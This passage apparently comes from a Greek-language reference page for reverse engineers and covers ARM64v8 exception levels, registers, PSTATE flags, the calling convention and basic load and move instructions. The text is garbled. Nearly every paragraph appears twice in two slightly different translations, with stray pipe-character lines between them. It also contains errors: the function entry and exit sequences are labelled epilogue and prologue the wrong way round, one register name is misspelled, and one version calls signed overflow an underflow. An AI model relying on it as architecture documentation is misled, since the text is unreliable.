- Αυτό είναι το πιο προνομιούχο επίπεδο και χρησιμοποιείται συχνά για secure booting και trusted execution περιβάλλοντα.
|
||||
- Το EL3 μπορεί να διαχειρίζεται και να ελέγχει προσβάσεις μεταξύ secure και non-secure καταστάσεων (όπως secure boot, trusted OS, κ.λπ.).
|
||||
|
||||
Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφορετικών πτυχών του συστήματος, από τις εφαρμογές χρήστη έως το πιο προνομιακό λογισμικό του συστήματος. Η προσέγγιση του ARMv8 στα επίπεδα προνομίων βοηθά στην αποτελεσματική απομόνωση διαφορετικών συστατικών του συστήματος, ενισχύοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.
|
||||
Η χρήση αυτών των επιπέδων επιτρέπει μια δομημένη και ασφαλή διαχείριση διαφορετικών όψεων του συστήματος, από εφαρμογές χρήστη έως το πιο προνομιούχο λογισμικό συστήματος. Η προσέγγιση της ARMv8 στα επίπεδα προνομίων βοηθά στην αποτελεσματική απομόνωση των διαφόρων συστατικών του συστήματος, ενισχύοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.
|
||||
|
||||
## **Καταχωρητές (ARM64v8)**
|
||||
|
||||
Το ARM64 έχει **31 γενικούς καταχωρητές**, επισημασμένους από `x0` έως `x30`. Κάθε ένας μπορεί να αποθηκεύσει μια **64-bit** (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε 32-bit λειτουργία χρησιμοποιώντας τα ονόματα w0 έως w30.
|
||||
Το ARM64 έχει **31 καταχωρητές γενικής χρήσης**, επισημασμένους `x0` έως `x30`. Ο καθένας μπορεί να αποθηκεύσει μια **64-bit** (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε 32-bit μορφή χρησιμοποιώντας τα ονόματα `w0` έως `w30`.
|
||||
|
||||
1. **`x0`** έως **`x7`** - Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μεταφορά παραμέτρων σε υπορουτίνες.
|
||||
- **`x0`** μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.
|
||||
2. **`x8`** - Στον πυρήνα Linux, το `x8` χρησιμοποιείται ως αριθμός κλήσης συστήματος για την εντολή `svc`. **Στο macOS χρησιμοποιείται το x16!**
|
||||
3. **`x9`** έως **`x15`** - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.
|
||||
4. **`x16`** και **`x17`** - **Καταχωρητές Ενδο-διαδικαστικής Κλήσης**. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για έμμεσες κλήσεις συναρτήσεων και PLT (Πίνακας Σύνδεσης Διαδικασίας).
|
||||
- **`x16`** χρησιμοποιείται ως **αριθμός κλήσης συστήματος** για την εντολή **`svc`** στο **macOS**.
|
||||
5. **`x18`** - **Καταχωρητής πλατφόρμας**. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι δεσμευμένος για συγκεκριμένες χρήσεις πλατφόρμας: Δείκτης στο τρέχον μπλοκ περιβάλλοντος νήματος στα Windows, ή για να δείχνει στη δομή τρέχουσας **εκτελούμενης εργασίας στον πυρήνα linux**.
|
||||
6. **`x19`** έως **`x28`** - Αυτοί είναι καταχωρητές που διατηρούνται από τον καλούμενο. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα, οπότε αποθηκεύονται στο στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.
|
||||
7. **`x29`** - **Δείκτης πλαισίου** για την παρακολούθηση του πλαισίου στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο καταχωρητής **`x29`** αποθηκεύεται **στο στοίβα** και η διεύθυνση του **νέου** δείκτη πλαισίου (**διεύθυνση `sp`**) αποθηκεύεται σε αυτόν τον καταχωρητή.
|
||||
- Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως **γενικός καταχωρητής** αν και συνήθως χρησιμοποιείται ως αναφορά σε **τοπικές μεταβλητές**.
|
||||
8. **`x30`** ή **`lr`** - **Καταχωρητής σύνδεσης**. Διατηρεί τη **διεύθυνση επιστροφής** όταν εκτελείται μια εντολή `BL` (Branch with Link) ή `BLR` (Branch with Link to Register) αποθηκεύοντας την τιμή **`pc`** σε αυτόν τον καταχωρητή.
|
||||
- Μπορεί επίσης να χρησιμοποιηθεί όπως οποιοσδήποτε άλλος καταχωρητής.
|
||||
- Εάν η τρέχουσα συνάρτηση πρόκειται να καλέσει μια νέα συνάρτηση και επομένως να επαναγράψει το `lr`, θα το αποθηκεύσει στο στοίβα στην αρχή, αυτό είναι το επιλόγιο (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Αποθήκευση `fp` και `lr`, δημιουργία χώρου και λήψη νέου `fp`) και θα το ανακτήσει στο τέλος, αυτό είναι το πρόλογο (`ldp x29, x30, [sp], #48; ret` -> Ανάκτηση `fp` και `lr` και επιστροφή).
|
||||
9. **`sp`** - **Δείκτης στοίβας**, χρησιμοποιείται για την παρακολούθηση της κορυφής της στοίβας.
|
||||
- Η τιμή **`sp`** θα πρέπει πάντα να διατηρείται τουλάχιστον σε **ευθυγράμμιση quadword** ή μπορεί να προκύψει εξαίρεση ευθυγράμμισης.
|
||||
10. **`pc`** - **Μετρητής προγράμματος**, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερωθεί μόνο μέσω γενεών εξαιρέσεων, επιστροφών εξαιρέσεων και κλάδων. Οι μόνοι κανονικοί εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι εντολές κλάδου με σύνδεση (BL, BLR) για να αποθηκεύσουν τη διεύθυνση **`pc`** στο **`lr`** (Καταχωρητής Σύνδεσης).
|
||||
11. **`xzr`** - **Καταχωρητής μηδέν**. Ονομάζεται επίσης **`wzr`** στην **32**-bit μορφή του. Μπορεί να χρησιμοποιηθεί για να αποκτήσει εύκολα την τιμή μηδέν (συνηθισμένη λειτουργία) ή για να εκτελέσει συγκρίσεις χρησιμοποιώντας **`subs`** όπως **`subs XZR, Xn, #10`** αποθηκεύοντας τα αποτελέσματα που δεν πηγαίνουν πουθενά (στο **`xzr`**).
|
||||
1. **`x0`** έως **`x7`** - Συνήθως χρησιμοποιούνται ως προσωρινοί καταχωρητές και για τη μεταβίβαση παραμέτρων σε υπορουτίνες.
|
||||
- **`x0`** επίσης μεταφέρει τα δεδομένα επιστροφής μιας συνάρτησης.
|
||||
2. **`x8`** - Στον Linux kernel, το `x8` χρησιμοποιείται ως ο αριθμός system call για την εντολή `svc`. **Στο macOS το x16 είναι αυτό που χρησιμοποιείται!**
|
||||
3. **`x9`** έως **`x15`** - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούνται για τοπικές μεταβλητές.
|
||||
4. **`x16`** και **`x17`** - **Intra-procedural Call Registers**. Προσωρινοί καταχωρητές για άμεσα (immediate) τιμές. Χρησιμοποιούνται επίσης για indirect function calls και PLT stubs.
|
||||
- **`x16`** χρησιμοποιείται ως ο **system call number** για την εντολή **`svc`** στο **macOS**.
|
||||
5. **`x18`** - **Platform register**. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε κάποιες πλατφόρμες αυτός ο καταχωρητής προορίζεται για πλατφόρμα-συγκεκριμένες χρήσεις: Pointer στο current thread environment block στα Windows, ή για να δείχνει στην τρέχουσα δομή task που εκτελείται στον linux kernel.
|
||||
6. **`x19`** έως **`x28`** - Αυτοί είναι callee-saved καταχωρητές. Μια συνάρτηση πρέπει να διατηρήσει τις τιμές αυτών των καταχωρητών για τον καλούντα, οπότε αποθηκεύονται στη στοίβα και ανακτώνται πριν επιστρέψει στον καλούντα.
|
||||
7. **`x29`** - **Frame pointer** για την παρακολούθηση του stack frame. Όταν δημιουργείται ένα νέο stack frame λόγω μιας κλήσης συνάρτησης, ο καταχωρητής **`x29`** **αποθηκεύεται στη στοίβα** και η **νέα** διεύθυνση δείκτη πλαισίου (η διεύθυνση του `sp`) **αποθηκεύεται σε αυτόν τον καταχωρητή**.
|
||||
- Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως **γενικός καταχωρητής**, αν και συνήθως χρησιμοποιείται ως αναφορά για **τοπικές μεταβλητές**.
|
||||
8. **`x30`** ή **`lr`** - **Link register**. Κρατά τη **διεύθυνση επιστροφής** όταν εκτελείται μια εντολή `BL` (Branch with Link) ή `BLR` (Branch with Link to Register) αποθηκεύοντας την τιμή του **`pc`** σε αυτόν τον καταχωρητή.
|
||||
- Μπορεί επίσης να χρησιμοποιηθεί σαν κάθε άλλος καταχωρητής.
|
||||
- Αν η τρέχουσα συνάρτηση πρόκειται να καλέσει μια νέα συνάρτηση και επομένως να υπερεγράψει το `lr`, θα το αποθηκεύσει στη στοίβα στην αρχή — αυτό είναι το epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Αποθήκευση `fp` και `lr`, δημιουργία χώρου και λήψη νέου `fp`) και το ανακτά στο τέλος — αυτό είναι το prologue (`ldp x29, x30, [sp], #48; ret` -> Ανάκτηση `fp` και `lr` και επιστροφή).
|
||||
9. **`sp`** - **Stack pointer**, χρησιμοποιείται για την παρακολούθηση της κορυφής της στοίβας.
|
||||
- Η τιμή του **`sp`** πρέπει πάντα να διατηρείται με τουλάχιστον **ευθυγράμμιση quadword** αλλιώς μπορεί να συμβεί alignment exception.
|
||||
10. **`pc`** - **Program counter**, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερώνεται μόνο μέσω παραγωγής εξαιρέσεων (exception), επιστροφών εξαιρέσεων, και branch εντολών. Οι μόνοι κανονικοί εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι εντολές branch with link (BL, BLR) που αποθηκεύουν τη διεύθυνση του **`pc`** στο **`lr`** (Link Register).
|
||||
11. **`xzr`** - **Zero register**. Επίσης ονομάζεται **`wzr`** στη 32-bit μορφή του. Μπορεί να χρησιμοποιηθεί για να πάρει εύκολα την τιμή μηδέν (συνηθισμένη λειτουργία) ή για να πραγματοποιήσει συγκρίσεις χρησιμοποιώντας **`subs`** όπως **`subs XZR, Xn, #10`** αποθηκεύοντας το αποτέλεσμα πουθενά (στο **`xzr`**).
|
||||
|
||||
Οι καταχωρητές **`Wn`** είναι η **32bit** έκδοση των καταχωρητών **`Xn`**.
|
||||
Οι καταχωρητές **`Wn`** είναι η **32bit** έκδοση των **`Xn`** καταχωρητών.
|
||||
|
||||
### SIMD και Καταχωρητές Κινητής Υποδιαστολής
|
||||
> [!TIP]
|
||||
> Οι καταχωρητές από X0 έως X18 είναι volatile, που σημαίνει ότι οι τιμές τους μπορούν να αλλάξουν από κλήσεις συναρτήσεων και interruptions. Ωστόσο, οι καταχωρητές από X19 έως X28 είναι non-volatile, που σημαίνει ότι οι τιμές τους πρέπει να διατηρούνται μεταξύ κλήσεων συναρτήσεων ("callee saved").
|
||||
|
||||
Επιπλέον, υπάρχουν άλλοι **32 καταχωρητές μήκους 128bit** που μπορούν να χρησιμοποιηθούν σε βελτιστοποιημένες λειτουργίες πολλαπλών δεδομένων με μία εντολή (SIMD) και για την εκτέλεση αριθμητικών υπολογισμών κινητής υποδιαστολής. Αυτοί ονομάζονται καταχωρητές Vn αν και μπορούν επίσης να λειτουργούν σε **64**-bit, **32**-bit, **16**-bit και **8**-bit και τότε ονομάζονται **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** και **`Bn`**.
|
||||
### SIMD και Καταχωρητές κινητής υποδιαστολής
|
||||
|
||||
Επιπλέον, υπάρχουν άλλοι **32 καταχωρητές μήκους 128bit** που μπορούν να χρησιμοποιηθούν σε βελτιστοποιημένες λειτουργίες single instruction multiple data (SIMD) και για την εκτέλεση αριθμητικών πράξεων κινητής υποδιαστολής. Αυτοί καλούνται Vn registers αν και μπορούν επίσης να λειτουργήσουν σε **64**-bit, **32**-bit, **16**-bit και **8**-bit και τότε ονομάζονται **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** και **`Bn`**.
|
||||
|
||||
### Καταχωρητές Συστήματος
|
||||
|
||||
**Υπάρχουν εκατοντάδες καταχωρητές συστήματος**, που ονομάζονται επίσης καταχωρητές ειδικού σκοπού (SPRs), που χρησιμοποιούνται για **παρακολούθηση** και **έλεγχο** της συμπεριφοράς των **επεξεργαστών**.\
|
||||
**Υπάρχουν εκατοντάδες συστημικοί καταχωρητές**, επίσης ονομαζόμενοι special-purpose registers (SPRs), που χρησιμοποιούνται για **παρακολούθηση** και **έλεγχο** της συμπεριφοράς των **επεξεργαστών**.\
|
||||
Μπορούν να διαβαστούν ή να ρυθμιστούν μόνο χρησιμοποιώντας τις ειδικές εντολές **`mrs`** και **`msr`**.
|
||||
|
||||
Οι ειδικοί καταχωρητές **`TPIDR_EL0`** και **`TPIDDR_EL0`** βρίσκονται συχνά κατά την αντίστροφη μηχανική. Το επίθημα `EL0` υποδεικνύει την **ελάχιστη εξαίρεση** από την οποία μπορεί να προσπελαστεί ο καταχωρητής (σε αυτή την περίπτωση το EL0 είναι το κανονικό επίπεδο εξαίρεσης (προνομίων) με το οποίο εκτελούνται τα κανονικά προγράμματα).\
|
||||
Συνήθως χρησιμοποιούνται για να αποθηκεύσουν τη **βάση διεύθυνση της περιοχής αποθήκευσης τοπικών νημάτων** στη μνήμη. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος για προγράμματα που εκτελούνται στο EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από το EL0 και να γραφτεί από το EL1 (όπως ο πυρήνας).
|
||||
Οι ειδικοί καταχωρητές **`TPIDR_EL0`** και **`TPIDDR_EL0`** εμφανίζονται συχνά κατά την reverse engineering. Το επίθημα `EL0` υποδεικνύει το **ελάχιστο επίπεδο εξαίρεσης** από το οποίο μπορεί να προσπελαστεί ο καταχωρητής (σε αυτή την περίπτωση το EL0 είναι το κανονικό επίπεδο προνομίων στο οποίο τρέχουν τα κανονικά προγράμματα).\
|
||||
Χρησιμοποιούνται συχνά για να αποθηκεύσουν τη **βασική διεύθυνση της περιοχής thread-local storage** στη μνήμη. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος από προγράμματα που τρέχουν σε EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από EL0 και να γραφτεί από EL1 (π.χ. από τον kernel).
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; Διαβάστε το TPIDR_EL0 στο x0`
|
||||
- `msr TPIDR_EL0, X0 ; Γράψτε το x0 στο TPIDR_EL0`
|
||||
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
|
||||
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** περιέχει διάφορα συστατικά διαδικασίας σειριακά στο ορατό από το λειτουργικό σύστημα **`SPSR_ELx`** ειδικό καταχωρητή, όπου το X είναι το **επίπεδο άδειας** **της ενεργοποιημένης** εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διαδικασίας όταν τελειώνει η εξαίρεση).\
|
||||
Αυτά είναι τα προσβάσιμα πεδία:
|
||||
Το **PSTATE** περιέχει διάφορα στοιχεία της διεργασίας σειροποιημένα στον ειδικό καταχωρητή που είναι ορατός από το λειτουργικό σύστημα **`SPSR_ELx`**, όπου το X είναι το **επίπεδο προνομίων της ενεργοποιηθείσας** εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διεργασίας όταν τελειώσει η εξαίρεση).\
|
||||
Αυτά είναι τα πεδία που είναι προσβάσιμα:
|
||||
|
||||
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Οι σημαίες συνθηκών **`N`**, **`Z`**, **`C`** και **`V`**:
|
||||
- **`N`** σημαίνει ότι η λειτουργία απέδωσε αρνητικό αποτέλεσμα
|
||||
- **`Z`** σημαίνει ότι η λειτουργία απέδωσε μηδέν
|
||||
- **`C`** σημαίνει ότι η λειτουργία είχε μεταφορά
|
||||
- **`V`** σημαίνει ότι η λειτουργία απέδωσε υπερχείλιση υπογραφής:
|
||||
- Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.
|
||||
- Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.
|
||||
- Στην αφαίρεση, όταν αφαιρείται ένας μεγάλος αρνητικός αριθμός από έναν μικρό θετικό αριθμό (ή το αντίστροφο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δεδομένου μεγέθους bit.
|
||||
- Προφανώς, ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι υπογεγραμμένη ή όχι, οπότε θα ελέγξει το C και το V στις λειτουργίες και θα υποδείξει αν συνέβη μεταφορά σε περίπτωση που ήταν υπογεγραμμένη ή μη υπογεγραμμένη.
|
||||
- **`C`** σημαίνει ότι υπήρξε μεταφορά (carry)
|
||||
- **`V`** σημαίνει ότι η λειτουργία απέδωσε υπορροή για υπογεγραμμένους αριθμούς (signed overflow):
|
||||
- Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.
|
||||
- Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.
|
||||
- Σε αφαίρεση, όταν ένας μεγάλος αρνητικός αριθμός αφαιρείται από έναν μικρότερο θετικό αριθμό (ή το αντίθετο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δοθέντος bit size.
|
||||
- Προφανώς ο επεξεργαστής δεν "ξέρει" αν η λειτουργία είναι signed ή όχι, οπότε θα ελέγξει τα C και V στις λειτουργίες και θα δηλώσει αν συνέβη carry σε περίπτωση που ήταν signed ή unsigned.
|
||||
|
||||
> [!WARNING]
|
||||
> Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Ορισμένες όπως **`CMP`** ή **`TST`** το κάνουν, και άλλες που έχουν ένα s στο τέλος όπως **`ADDS`** το κάνουν επίσης.
|
||||
> Όλες οι εντολές δεν ενημερώνουν αυτές τις σημαίες. Κάποιες όπως **`CMP`** ή **`TST`** το κάνουν, και άλλες που έχουν το επίθεμα s όπως **`ADDS`** επίσης το κάνουν.
|
||||
|
||||
- Η τρέχουσα σημαία **πλάτους καταχωρητή (`nRW`)**: Εάν η σημαία έχει την τιμή 0, το πρόγραμμα θα εκτελείται στην κατάσταση εκτέλεσης AArch64 μόλις επανεκκινήσει.
|
||||
- Το τρέχον **Επίπεδο Εξαίρεσης** (**`EL`**): Ένα κανονικό πρόγραμμα που εκτελείται στο EL0 θα έχει την τιμή 0.
|
||||
- Η σημαία **μονοβήματος** (**`SS`**): Χρησιμοποιείται από αποσφαλματωτές για να εκτελούν μονοβήματα ρυθμίζοντας τη σημαία SS σε 1 μέσα στο **`SPSR_ELx`** μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελεί ένα βήμα και θα εκδώσει μια εξαίρεση μονοβήματος.
|
||||
- Η σημαία **κατάστασης παράνομης εξαίρεσης** (**`IL`**): Χρησιμοποιείται για να σημάνει πότε ένα προνομιακό λογισμικό εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία ρυθμίζεται σε 1 και ο επεξεργαστής ενεργοποιεί μια εξαίρεση παράνομης κατάστασης.
|
||||
- Οι σημαίες **`DAIF`**: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιακό πρόγραμμα να επιλέξει να αποκρύψει ορισμένες εξωτερικές εξαιρέσεις.
|
||||
- Εάν **`A`** είναι 1 σημαίνει ότι θα ενεργοποιηθούν **ασύγχρονοι τερματισμοί**. Η **`I`** ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής (IRQs). και το F σχετίζεται με **Γρήγορα Αιτήματα Διακοπής** (FIRs).
|
||||
- Οι σημαίες **επιλογής δείκτη στοίβας** (**`SPS`**): Προνομιακά προγράμματα που εκτελούνται στο EL1 και άνω μπορούν να εναλλάσσουν τη χρήση του δικού τους καταχωρητή δείκτη στοίβας και του δείκτη μοντέλου χρήστη (π.χ. μεταξύ `SP_EL1` και `EL0`). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητή **`SPSel`**. Αυτό δεν μπορεί να γίνει από το EL0.
|
||||
- Η τρέχουσα σημαία **register width (`nRW`)**: Αν η σημαία έχει την τιμή 0, το πρόγραμμα θα τρέξει σε κατάσταση εκτέλεσης AArch64 όταν επανεκκινήσει.
|
||||
- Το τρέχον **Exception Level** (**`EL`**): Ένα κανονικό πρόγραμμα που τρέχει σε EL0 θα έχει την τιμή 0.
|
||||
- Η σημαία **single stepping** (**`SS`**): Χρησιμοποιείται από debuggers για single step θέτοντας τη σημαία SS σε 1 μέσα στο **`SPSR_ELx`** μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα προκαλέσει single step εξαίρεση.
|
||||
- Η σημαία **illegal exception state** (**`IL`**): Χρησιμοποιείται για να σηματοδοτήσει όταν λογισμικό με προνόμια εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία τίθεται σε 1 και ο επεξεργαστής πυροδοτεί illegal state εξαίρεση.
|
||||
- Οι σημαίες **`DAIF`**: Αυτές οι σημαίες επιτρέπουν σε προνομιούχο λογισμικό να αποκρύψει επιλεκτικά ορισμένες εξωτερικές εξαιρέσεις.
|
||||
- Αν το **`A`** είναι 1 σημαίνει ότι θα ενεργοποιηθούν **asynchronous aborts**. Το **`I`** ρυθμίζει την απόκριση σε εξωτερικά **Interrupt Requests** (IRQs). και το F σχετίζεται με **Fast Interrupt Requests** (FIRs).
|
||||
- Οι σημαίες επιλογής δείκτη στοίβας (**`SPS`**): Προνομιούχα προγράμματα που τρέχουν σε EL1 και άνω μπορούν να εναλλάσσουν μεταξύ της χρήσης του δικού τους καταχωρητή δείκτη στοίβας και του user-model ενός (π.χ. μεταξύ `SP_EL1` και `EL0`). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητή **`SPSel`**. Αυτό δεν μπορεί να γίνει από το EL0.
|
||||
|
||||
## **Σύμβαση Κλήσης (ARM64v8)**
|
||||
## **Calling Convention (ARM64v8)**
|
||||
|
||||
Η σύμβαση κλήσης ARM64 καθορίζει ότι οι **πρώτες οκτώ παράμετροι** σε μια συνάρτηση μεταφέρονται σε καταχωρητές **`x0` έως `x7`**. **Επιπλέον** παράμετροι μεταφέρονται στο **στοίβα**. Η **τιμή επιστροφής** μεταφέρεται πίσω στον καταχωρητή **`x0`**, ή στο **`x1`** επίσης **αν είναι 128 bits**. Οι καταχωρητές **`x19`** έως **`x30`** και **`sp`** πρέπει να **διατηρούνται** κατά τις κλήσεις συναρτήσεων.
|
||||
Το calling convention του ARM64 ορίζει ότι οι **πρώτες οκτώ παραμέτροι** μιας συνάρτησης περνάνε σε καταχωρητές **`x0` έως `x7`**. **Επιπλέον** παράμετροι περνάνε στη **στοίβα**. Η **τιμή επιστροφής** δίνεται πίσω στον καταχωρητή **`x0`**, ή και στο **`x1`** αν είναι **128 bits**. Οι καταχωρητές **`x19`** έως **`x30`** και **`sp`** πρέπει να **διατηρούνται** μεταξύ κλήσεων συναρτήσεων.
|
||||
|
||||
Όταν διαβάζετε μια συνάρτηση σε assembly, αναζητήστε τον **πρόλογο και το επιλόγιο** της συνάρτησης. Ο **πρόλογος** συνήθως περιλαμβάνει **αποθήκευση του δείκτη πλαισίου (`x29`)**, **ρύθμιση** ενός **νέου δείκτη πλαισίου**, και **κατανομή χώρου στοίβας**. Το **επιλόγιο** συνήθως περιλαμβάνει **αποκατάσταση του αποθηκευμένου δείκτη πλαισίου** και **επιστροφή** από τη συνάρτηση.
|
||||
Όταν διαβάζετε μια συνάρτηση σε assembly, ψάξτε για το **prologue** και το **epilogue** της συνάρτησης. Το **prologue** συνήθως περιλαμβάνει **αποθήκευση του frame pointer (`x29`)**, **ρύθμιση** ενός **νέου frame pointer**, και **δέσμευση χώρου στη στοίβα**. Το **epilogue** συνήθως περιλαμβάνει **ανάκτηση του αποθηκευμένου frame pointer** και **επιστροφή** από τη συνάρτηση.
|
||||
|
||||
### Σύμβαση Κλήσης στη Swift
|
||||
### Calling Convention στο Swift
|
||||
|
||||
Η Swift έχει τη δική της **σύμβαση κλήσης** που μπορεί να βρεθεί στο [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
Το Swift έχει το δικό του **calling convention** που μπορεί να βρεθεί στο [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Κοινές Εντολές (ARM64v8)**
|
||||
## **Συνήθεις Εντολές (ARM64v8)**
|
||||
|
||||
Οι εντολές ARM64 γενικά έχουν τη **μορφή `opcode dst, src1, src2`**, όπου **`opcode`** είναι η **λειτουργία** που θα εκτελεστεί (όπως `add`, `sub`, `mov`, κ.λπ.), **`dst`** είναι ο **καταχωρητής προορισμού** όπου θα αποθηκευτεί το αποτέλεσμα, και **`src1`** και **`src2`** είναι οι **καταχωρητές πηγής**. Άμεσες τιμές μπορούν επίσης να χρησιμοποιηθούν στη θέση των καταχωρητών πηγής.
|
||||
Οι εντολές ARM64 γενικά έχουν τη **μορφή `opcode dst, src1, src2`**, όπου το **`opcode`** είναι η **ενέργεια** που θα εκτελεστεί (όπως `add`, `sub`, `mov`, κ.λπ.), το **`dst`** είναι ο **καταχωρητής προορισμού** όπου θα αποθηκευτεί το αποτέλεσμα, και τα **`src1`** και **`src2`** είναι οι **καταχωρητές πηγής**. Μπορούν επίσης να χρησιμοποιηθούν άμεσες (immediate) τιμές στη θέση των καταχωρητών πηγής.
|
||||
|
||||
- **`mov`**: **Μεταφορά** μιας τιμής από έναν **καταχωρητή** σε έναν άλλο.
|
||||
- Παράδειγμα: `mov x0, x1` — Αυτό μεταφέρει την τιμή από `x1` στο `x0`.
|
||||
- **`ldr`**: **Φόρτωση** μιας τιμής από **μνήμη** σε έναν **καταχωρητή**.
|
||||
- Παράδειγμα: `ldr x0, [x1]` — Αυτό φορτώνει μια τιμή από τη διεύθυνση μνήμης που υποδεικνύεται από `x1` στο `x0`.
|
||||
- **Λειτουργία Offset**: Ένα offset που επηρεάζει τον αρχικό δείκτη υποδεικνύεται, για παράδειγμα:
|
||||
- **`mov`**: **Μετακινεί** μια τιμή από έναν **καταχωρητή** σε έναν άλλο.
|
||||
- Παράδειγμα: `mov x0, x1` — Μεταφέρει την τιμή από το `x1` στο `x0`.
|
||||
- **`ldr`**: **Φορτώνει** μια τιμή από τη **μνήμη** σε έναν **καταχωρητή**.
|
||||
- Παράδειγμα: `ldr x0, [x1]` — Φορτώνει μια τιμή από τη διεύθυνση μνήμης που δείχνει το `x1` στο `x0`.
|
||||
- **Offset mode**: Ένα offset που επηρεάζει την αρχική διεύθυνση υποδεικνύεται, για παράδειγμα:
|
||||
- `ldr x2, [x1, #8]`, αυτό θα φορτώσει στο x2 την τιμή από x1 + 8
|
||||
- `ldr x2, [x0, x1, lsl #2]`, αυτό θα φορτώσει στο x2 ένα αντικείμενο από τον πίνακα x0, από τη θέση x1 (δείκτης) \* 4
|
||||
- **Προ-ευρετηριασμένη λειτουργία**: Αυτό θα εφαρμόσει υπολογισμούς στον αρχικό δείκτη, θα πάρει το αποτέλεσμα και θα αποθηκεύσει επίσης τον νέο αρχικό δείκτη στον αρχικό δείκτη.
|
||||
- `ldr x2, [x1, #8]!`, αυτό θα φορτώσει το `x1 + 8` στο `x2` και θα αποθηκεύσει στο x1 το αποτέλεσμα του `x1 + 8`
|
||||
- `str lr, [sp, #-4]!`, Αποθήκευση του καταχωρητή σύνδεσης στο sp και ενημέρωση του καταχωρητή sp
|
||||
- **Μετα-ευρετηριασμένη λειτουργία**: Αυτό είναι όπως η προηγούμενη αλλά η διεύθυνση μνήμης προσπελάζεται και στη συνέχεια υπολογίζεται και αποθηκεύεται το offset.
|
||||
- `ldr x2, [x0, x1, lsl #2]`, αυτό θα φορτώσει στο x2 ένα αντικείμενο από τον πίνακα x0, από τη θέση x1 (index) * 4
|
||||
- **Pre-indexed mode**: Αυτό θα εφαρμόσει τους υπολογισμούς στην αρχική διεύθυνση, θα πάρει το αποτέλεσμα και επίσης θα αποθηκεύσει τη νέα αρχική διεύθυνση στην αρχική.
|
||||
- `ldr x2, [x1, #8]!`, αυτό θα φορτώσει `x1 + 8` στο `x2` και θα αποθηκεύσει στο x1 το αποτέλεσμα του `x1 + 8`
|
||||
- `str lr, [sp, #-4]!`, Αποθηκεύει τον link register στο sp και ενημερώνει τον καταχωρητή sp
|
||||
- **Post-index mode**: Αυτό είναι όπως το προηγούμενο αλλά η διεύθυνση μνήμης προσπελαύνεται και μετά υπολογίζεται και αποθηκεύεται το offset.
|
||||
- `ldr x0, [x1], #8`, φορτώνει το `x1` στο `x0` και ενημερώνει το x1 με `x1 + 8`
|
||||
- **Διεύθυνση σχετική με το PC**: Σε αυτή την περίπτωση, η διεύθυνση που θα φορτωθεί υπολογίζεται σε σχέση με τον καταχωρητή PC
|
||||
